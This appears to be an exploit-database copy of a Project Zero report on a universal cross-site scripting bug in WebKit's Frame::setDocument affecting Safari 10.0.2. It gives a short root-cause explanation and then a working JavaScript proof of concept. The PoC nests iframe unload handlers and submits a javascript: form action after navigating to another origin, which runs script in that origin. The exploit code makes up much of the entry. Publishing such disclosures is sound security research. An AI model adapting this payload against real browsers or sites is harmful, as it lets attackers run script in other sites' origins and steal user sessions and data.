Apple WebKit 10.0.2 - 'Frame::setDocument' Universal Cross-Site Scripting

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Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1057
 
Here's a snippet of Frame::setDocument.
 
void Frame::setDocument(RefPtr<Document>&& newDocument)
{
    ASSERT(!newDocument || newDocument->frame() == this);
 
    if (m_doc && m_doc->pageCacheState() != Document::InPageCache)
        m_doc->prepareForDestruction();
 
    m_doc = newDocument.copyRef();
    ...
}
 
Before setting |m_doc| to |newDocument|, it calls |prepareForDestruction| that fires unload event handlers. If we call |Frame::setDocument| with the new document |a|, and call |Frame::setDocument| again with the new document |b| in the unload event handler. Then |prepareForDestruction| will be never called on |b|, which means the frame will be never detached from |b|.
 
PoC:
-->
 
"use strict";
 
let f = document.documentElement.appendChild(document.createElement("iframe"));
let a = f.contentDocument.documentElement.appendChild(document.createElement("iframe"));
 
a.contentWindow.onunload = () => {
    f.src = "javascript:''";
 
    let b = f.contentDocument.appendChild(document.createElement("iframe"));
    b.contentWindow.onunload = () => {
        f.src = "javascript:''";
 
        let doc = f.contentDocument;
 
        f.onload = () => {
            f.onload = () => {
                f.onload = null;
 
                let s = doc.createElement("form");
                s.action = "javascript:alert(location)";
                s.submit();
            };
 
            f.src = "https://abc.xyz/";
        };
 
    };
};
 
f.src = "javascript:''";
 
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Tested on Safari 10.0.2(12602.3.12.0.1).
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